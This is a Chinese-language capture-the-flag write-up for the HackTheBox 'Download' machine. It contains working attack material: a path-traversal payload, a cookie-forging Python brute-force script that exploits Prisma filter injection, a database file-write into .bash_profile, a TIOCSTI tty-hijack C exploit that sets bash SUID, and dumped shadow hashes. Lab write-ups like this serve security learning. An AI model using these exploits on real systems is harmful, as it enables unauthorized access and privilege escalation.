基本信息

https://app.hackthebox.com/machines/Download
10.10.11.226

端口扫描

22和80:

$ nmap -sC -sV -Pn 10.10.11.226
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-07 15:33 CST
Nmap scan report for 10.10.11.226
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 cc:f1:63:46:e6:7a:0a:b8:ac:83:be:29:0f:d6:3f:09 (RSA)
|   256 2c:99:b4:b1:97:7a:8b:86:6d:37:c9:13:61:9f:bc:ff (ECDSA)
|_  256 e6:ff:77:94:12:40:7b:06:a2:97:7a:de:14:94:5b:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://download.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.16 seconds

80

需要加hosts,在线文件共享：

1	10.10.11.226 download.htb

Download

尝试注册报错(后面根据代码可以知道是用户名有最短长度要求)，但可以匿名上传下载，文件名是uuid：

LFI

根据响应头知道是Express，可以猜测代码大概类似这样：

# route 
/download/{file_name}

return {file_name}
../xxxx
..%2fxxxx

那可以尝试读取其他文件，因为是Express，尝试读取app.js,注意编码,验证存在LFI,并且代码中得到download_session使用的key：

1 2	name: "download_session", keys: ["8929874489719802418902487651347865819634518936754"]

package.json

同样的方法读取package.json，得到用户名wesley(这个用户名也可以通过修改id得到)：

auth.js

auth里可以知道用户名有最短长度要求：

download_session

根据前面的信息重新注册登录，得到的cookie解码，发现user相关信息：

{
  "flashes": {
    "info": [],
    "error": [],
    "success": [
      "You are now logged in."
    ]
  },
  "user": {
    "id": 73,
    "username": "miao@miao.com"
  }
}

express cookie，已有key，可以使用cookie-monster签名

DigitalInterruption/cookie-monster: A utility for automating the testing and re-signing of Express.js cookie secrets.
https://github.com/DigitalInterruption/cookie-monster

尝试直接修改id为1，去掉用户名，生成新cookie，然后查看home得到WESLEY上传的文件：

1	cookie-monster -e -f cookie.json -k 8929874489719802418902487651347865819634518936754 -n download_session

但文件中并没什么有用信息

home

继续看代码，Home.js发现prisma：

根据文档查看prisma文件：

Working with PrismaClient (Concepts)
https://www.prisma.io/docs/concepts/components/prisma-client/working-with-prismaclient

1	http://download.htb/files/download/..%2fnode_modules%2f.prisma%2fclient%2fschema.prisma

user model中有username和password，而prisma可以使用一些条件进行过滤：

Filtering and Sorting (Concepts)
https://www.prisma.io/docs/concepts/components/prisma-client/filtering-and-sorting

brute password

后面就是根据这些信息，通过使用prisma支持的过滤条件来爆破出wesley的密码md5，解出来密码(爆破脚本来自discord)：

$ python3 brute.py
f88976c10af66915918945b9679b2bd3

dunkindonuts

brute.py

import string, subprocess, json, re, requests

regex = r"download_session=([\w=\-_]+).*download_session\.sig=([\w=\-_]+)"


def writeJson(j):
  with open("cookie.json", "w") as f:
    f.write(json.dumps(j))
    
def generateCookieAndSign(startsWith):
  j = {"user":{"username":{"contains": "WESLEY"}, "password":{"startsWith":startsWith}}}
  writeJson(j)
  out = subprocess.check_output(["cookie-monster", "-e", "-f", "cookie.json", "-k", "8929874489719802418902487651347865819634518936754", "-n", "download_session"]).decode().replace("\n"," ")
  matches = re.findall(regex, out, re.MULTILINE)[0]
  return matches
  
passwd = ""
alphabet="abcdef"+string.digits
for i in range(32):
  #print(passwd)
  for s in alphabet:
    p = passwd + s
    (download_session, sig) = generateCookieAndSign(p)
    cookie = {"download_session": download_session, "download_session.sig": sig}
    #print(p, cookie)
    print(p, end='\r')
    r = requests.get('http://download.htb/home/', cookies=cookie)
    if len(r.text) != 2174:
      passwd = p
      break
print()
print(passwd)

user flag

得到的账号密码ssh登录：

1 2	ssh wesley@10.10.11.226 dunkindonuts

提权信息

pspy发现root定期切换到postgres执行一些操作：

1
2
3

cat /etc/passwd | grep postgresql

postgres:x:113:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

枚举服务可以发现download-site，对应文件里得到pstgresql数据库账号密码:

systemctl list-units --type=service
cat /etc/systemd/system/download-site.service

postgresql://download:CoconutPineappleWatermelon@localhost:5432/download

postgresql

得到的信息连接postgresql数据库,发现有写文件权限,可以通过数据库向postgresql用户目录写文件

再结合前面root会定期切换到postgresql用户，这种场景可以劫持root用户tty来执行一些文件：

su/sudo from root to another user allows TTY hijacking and arbitrary code execution
https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking

1
2
3

psql "postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

download=> \du

提权 & root flag

root su切换到postgresql，会自动加载postgresql用户目录的bashrc,bash_profile之类文件并执行其中命令，而结合前面信息，可以通过postgresql数据库向postgresql用户目录写文件

那就是本地编译exp，通过数据库写文件，然后等待root触发执行：

gcc exp.c -static -o exp

# postgresql数据库内
download=> COPY (SELECT CAST('/tmp/miao/exp;' AS text)) TO '/var/lib/postgresql/.bash_profile';

exp.c

#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
  int fd = open("/dev/tty", O_RDWR);
  if (fd < 0) {
    perror("open");
    return -1;
  }
  char *x = "exit\nchmod +s /bin/bash\n";
  while (*x != 0) {
    int ret = ioctl(fd, TIOCSTI, x);
    if (ret == -1) {
      perror("ioctl()");
    }
    x++;
  }
  return 0;
}

shadow

1
2

root:$6$1MketXLaRIbeeHXh$B.wJMAZJb5kkVDvTP3UG283rTDEEf3nQDtxppPONWfIdHBoQtm3rm3EHphGpKJsLq39xK7zzScJIhLBDcK8/Y.:19468:0:99999:7:::
wesley:$6$6Vmkfr1F2be5/zab$AHFgSffUU2erjnzMtyxtIrOQWa3vz7Apra0tAnphA4Nf//3Fx.JK7M9IKjlseHjhbFIb8Cwif9sS60QDwXbUV/:19468:0:99999:7:::

root_id_rsa

参考资料

DigitalInterruption/cookie-monster: A utility for automating the testing and re-signing of Express.js cookie secrets.
https://github.com/DigitalInterruption/cookie-monster
Working with PrismaClient (Concepts)
https://www.prisma.io/docs/concepts/components/prisma-client/working-with-prismaclient
Filtering and Sorting (Concepts)
https://www.prisma.io/docs/concepts/components/prisma-client/filtering-and-sorting
su/sudo from root to another user allows TTY hijacking and arbitrary code execution
https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking

Download - HackTheBox

2023-08-08